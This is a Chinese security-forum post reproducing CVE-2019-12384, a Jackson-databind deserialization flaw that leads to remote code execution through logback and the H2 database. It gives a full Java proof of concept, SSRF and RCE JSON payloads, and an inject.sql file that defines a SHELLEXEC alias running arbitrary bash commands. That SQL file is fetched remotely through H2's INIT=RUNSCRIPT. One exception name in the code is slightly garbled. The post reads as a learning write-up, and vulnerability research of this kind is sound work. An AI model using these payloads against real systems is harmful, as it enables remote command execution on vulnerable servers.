用户
搜索

该用户从未签到

版主

Rank: 7Rank: 7Rank: 7

17

主题

134

帖子

699

魔法币
收听
17
粉丝
3
注册时间
2017-7-21

突出贡献春秋达人积极活跃奖核心白帽i春秋签约作者

发表于 2019-10-28 20:40:13 15877
本帖最后由 可爱的小雨淅淅 于 2019-10-28 20:44 编辑
Jackson 远程代码执行漏洞
0x00 介绍

    在六月下旬曝光了一款RCE漏洞 没错  就是这个CVE-2019-12384  这个漏洞出来这么久了   别的论坛都纷纷出了关于它的文章  我在i春秋却没找到  

那没办法了  只好看着我来写一个了


0x01 环境准备

JDK 1.8

首先得准备五个jar

    1.   logback-core-1.3.0-alpha4.jar

    2.   jackson-databind-2.9.8.jar

    3.   jackson-core-2.9.8.jar

    4.   jackson-annotations-2.9.8.jar

    5.   h2-1.4.199.jar

          其次 需要下载一个H2数据库  这个百度下官网就可以下载到

              H2数据库 直接安装就好  用户名 sa 密码 默认为空

    这个H2数据库我也是第一次接触 所以  我在网上找了篇帖子  看了下写了入门例子(仅供参考)

      /**

     * 使用TCP/IP的服务器模式(远程连接)方式连接H2数据库(推荐)

     */

    private static final String JDBC_URL = "jdbc:h2:tcp://10.35.14.122/C:/H2/user";


    private static final String USER = "user";

    private static final String PASSWORD = "1234";

    private static final String DRIVER_CLASS = "org.h2.Driver";


    public static void main(String[] args) throws Exception {

        Class.forName(DRIVER_CLASS);

        Connection conn = DriverManager.getConnection(JDBC_URL, USER, PASSWORD);

        if(conn != null){

               System.out.println("连接成功")

         }

    }



关于启动这个H2数据库很简单

M84EQ%EJVDVKRQM9V6PI9(8.png


0x02  漏洞复现

  关于这个复现的源码  和poc  基本上参考的是这位前辈的帖子


    废话不多说  我也直接上复现代码

     
[Java] 纯文本查看 复制代码
[/align][/align]
import com.fasterxml.jackson.core.JsonParseException;
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.JsonMappingException;
import com.fasterxml.jackson.databind.ObjectMapper;

import com.fasterxml.jackson.databind.SerializationFeature;

import java.io.IOException;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;

import org.h2.Driver;


public class CVE2019_12384 {

	public static String getSSRFPayload(){
  return "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:tcp://192.168.0.7:3306/~/test\"}]";
//return "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:File://192.168.2.1:8082/file:///D:/H2SQL/H2/build.bat\"}]";
	}
	
	public static String getRCEPayload(){
		return "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost/inject.sql'\"}]";
	}
	
	public void CVE12384(){
		try {
			Class.forName("org.h2.Driver").newInstance();
			System.out.println("创建实例成功");
			
			ObjectMapper mapper = new ObjectMapper();
			mapper.enableDefaultTyping();
			mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);
			
			System.out.println("开始序列化");
			
			Object obj;
			obj = mapper.readValue(CVE2019_12384.getSSRFPayload(),java.lang.Object.class);
			
			String str ;
			try{
				str = mapper.writeValueAsString(obj);
				System.out.println("字符串转换 " + str);
			}catch(Exception e){
                                System.out.println("toString()不可用-没有挂起的线程");
				e.printStackTrace();
			}
			
			
		} catch (InstantiationException e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		} catch (IllegalAcces**ception e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		} catch (ClassNotFoundException e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		} catch (JsonParseException e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		} catch (JsonMappingException e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		} catch (IOException e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		}
	}
	
	public static void main(String[] args) {

			new CVE2019_12384().CVE12384();

	}
}


这是第二个payload 的sql文件


[SQL] 纯文本查看 复制代码
inject.sql

CREATE ALIASSHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException{

    String[] command = {"bash", "-c", cmd};

    java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");

    return s.hasNext() ? s.next() : "";  }

$$;

CALL SHELLEXEC('open/Applications/Calculator.app/')



(注意 !   各位小伙伴们  要亲手实践的时候 别照抄哟 参考参考就行了  因为 我复现的时候 就不断的踩了各种坑 )


0x03  结尾

     今天复现这个 花了我一天的时间   后面 发现不断的踩各种坑  最后还去请教了一下好多大佬  终于  在JS大神抛出这个链接下






我有点崩溃了

(110]7E~EKG~K{LN8[QVA.png






哎  你不评论他不赞  猫猫凉了没人管

timg.jpg








村长CZ 管理员 有事找村长QQ:780876774 i春秋认证 幽默灌水王 春秋文阁 春秋达人 春秋巡逻 春秋游侠 积极活跃奖 核心白帽
沙发
发表于 2019-10-29 10:56:37
让我们一起干大事!
村里现在正在招聘:村委宣传队!
有兴趣的表哥加村长QQ:780876774!
使用道具 举报 回复
发新帖
您需要登录后才可以回帖 登录 | 立即注册